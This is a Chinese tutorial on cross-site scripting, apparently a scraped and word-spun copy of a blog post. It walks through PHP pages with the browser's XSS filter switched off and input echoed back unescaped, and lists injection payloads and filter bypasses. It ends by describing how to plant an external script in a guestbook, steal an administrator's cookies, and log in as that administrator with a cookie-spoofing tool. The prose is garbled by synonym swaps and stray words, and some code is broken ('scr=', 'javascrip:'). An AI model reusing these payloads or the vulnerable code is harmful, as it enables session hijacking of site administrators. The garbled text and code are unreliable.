前端安全之 XSS攻击

 参看:javascript

XSS的原理分析与解剖php

前端安全 -- XSS攻击html

web大前端开发中一些常见的安全性问题前端

一、前言

XSS 是面试时,hr提出来给个人,而后大致的浏览一遍,今天才查阅资料大致了解了它。java

XSS 攻击:攻击者向HTML页面传入恶意的HTML或JS代码,当用户浏览该页面时,恶意代码执行,达到攻击的目的。web

二、原理实现

在本地搭建PHP环境(使用phpstudy安装),而后在index.php文件中输入一下代码:面试

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
  <title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
  <input type="text" name="xss_input">
  <input type="submit">
</form>
<hr>
<?php
  header("X-XSS-Protection: 0"); // 0: 表示关闭浏览器的XSS防御机制
  error_reporting(0); // 加上error_reporting(0);就不会弹出警告了
  $xss = $_GET['xss_input'];
  echo '<h5>你输入的字符为</h5><br />'.$xss;
?>
</body>
</html>

如今在输入框中输入abc普通字符串,而后在页面中显示:浏览器

以后查看页面代码,就会发现页面上多了一行代码:安全

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
  <title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
  <input type="text" name="xss_input">
  <input type="submit">
</form>
<hr>
    /*------多了的代码:123-------*/
<h5>你输入的字符为</h5><br />123</body>
</html>

 

此时,我要是在输入<script>alert('xss')</script>这种能够被解析的代码时:cookie

如今页面就显现出xss漏洞了。

以后查看页面代码,就会发现页面上多了一行代码:

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
  <title>XSS原理重现</title>
</head>
<body>
<form action="" method="get">
  <input type="text" name="xss_input">
  <input type="submit">
</form>
<hr>
/*------多了的代码:<script>alert('xss')</script>-------*/
// 代码出如今 br标签 和 body标签中
<h5>你输入的字符为</h5><br /><script>alert('xss')</script></body>
</html>

 

三、xss利用输出环境来构造代码

如今我要改变 xss 攻击:

以上测试是在,标签中插入scrpit标签达到攻击的目的;如今我想要在html页面标签的属性中插入xss攻击代码。所以,当你我输入<script>alert('xss')</script>,不会显示出弹框了。

3.1测试代码

<!DOCTYPE html>
<html>

<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>XSS利用输出的环境来构造代码</title>
</head>

<body>
  <center>
    <h6>把咱们输入的字符串 输出到input里的value属性里</h6>
    <form action="" method="get">
      <h6>请输入你想显现的字符串</h6>
      <input type="text" name="xss_input_value" value="输入"><br>
      <input type="submit">
    </form>
    <hr>
    <?php
      header("X-XSS-Protection: 0");
      error_reporting(0);//加上error_reporting(0);就不会弹出警告了  
      $xss = $_GET['xss_input_value'];
      if(isset($xss)){
      echo '<input type="text" value="'.$xss.'">';
      }else{
      echo '<input type="type" value="输出">';
      }
    ?>
  </center>
</body>

</html>

页面效果:

3.2 输入一

当我在输入框输入qwer字符串时,会在输出框显示我输入的字符串:

 

此时网页代码:

  <center>
    <h6>把咱们输入的字符串 输出到input里的value属性里</h6>
    <form action="" method="get">
      <h6>请输入你想显现的字符串</h6>
      <input type="text" name="xss_input_value" value="输入"><br>
      <input type="submit">
    </form>
    <hr>
    <input type="text" value="qwer">  </center>

3.3输入二

如今我输入<script>alert('xss')</script>,字符串正常输入,明显的能够看到,并无弹出对话框:

此时网页代码:

<body>
  <center>
    <h6>把咱们输入的字符串 输出到input里的value属性里</h6>
    <form action="" method="get">
      <h6>请输入你想显现的字符串</h6>
      <input type="text" name="xss_input_value" value="输入"><br>
      <input type="submit">
    </form>
    <hr>
    <input type="text" value="<script>alert('xss')</script>">  </center>
</body>

分析输出代码:

<input type="text" value="<script>alert('xss')</script>">  </center>

3.4 输入三

若是我输入">,就会变成:

<input type="text" value=""> ">  </center>

input提早闭合了!以后的">就被舍弃了,变成了普通文本。

3.5 输入四

若是我输入:"><script>alert('xss')</script>

显示效果:

3.6 输入五

如今我不想显示弹框攻击了,我想触发某种事件实现攻击,那么就输入如下内容:

" onmousemove="alert('我就测试一下')"

显示结果:

页面代码:

  <center>
    <h6>把咱们输入的字符串 输出到input里的value属性里</h6>
    <form action="" method="get">
      <h6>请输入你想显现的字符串</h6>
      <input type="text" name="xss_input_value" value="输入"><br>
      <input type="submit">
    </form>
    <hr>
    <input type="text" value="" onmousemove="alert('我就测试一下')"">  </center>

说明:输入之后,鼠标在移动是触发事件,造成xss攻击。

那么,我在<textarea> 标签中显示呢?

此时就这样输入:

</textarea> <script>alert(‘xss’)</script> // 就能够实现弹窗了

四、过滤的解决办法

假如说网站禁止过滤了script 这时该怎么办呢 ?

那么就须要记住:只要页面能触发你的js代码

有哪些方法呢?

<!-- 当找不到图片名为1的文件时,执行alert('xss') -->
<img scr=1 onerror=alert('xss')> 

<!-- 点击s时运行alert('xss') -->
<a href=javascrip:alert('xss')>s</a> 

<!-- 利用iframe的scr来弹窗 -->
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
    
 <!-- 过滤了alert来执行弹窗 -->
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

五、xss的利用

<script scr="js_url"></script>

<img src=x onerror=appendChild(createElement('script')).src='js_url' />

好比咱们在网站的留言区输入<script scr=”js_url”></script>

当管理员进后台浏览留言的时候,就会触发

而后管理员的cookies和后台地址还有管理员浏览器版本等等

你均可以获取到了,再用“桂林老兵cookie欺骗工具”来更改你的cookies,

就能够不用输入帐号 密码 验证码 就能够以管理员的方式来进行登陆了。

相关文章
相关标签/搜索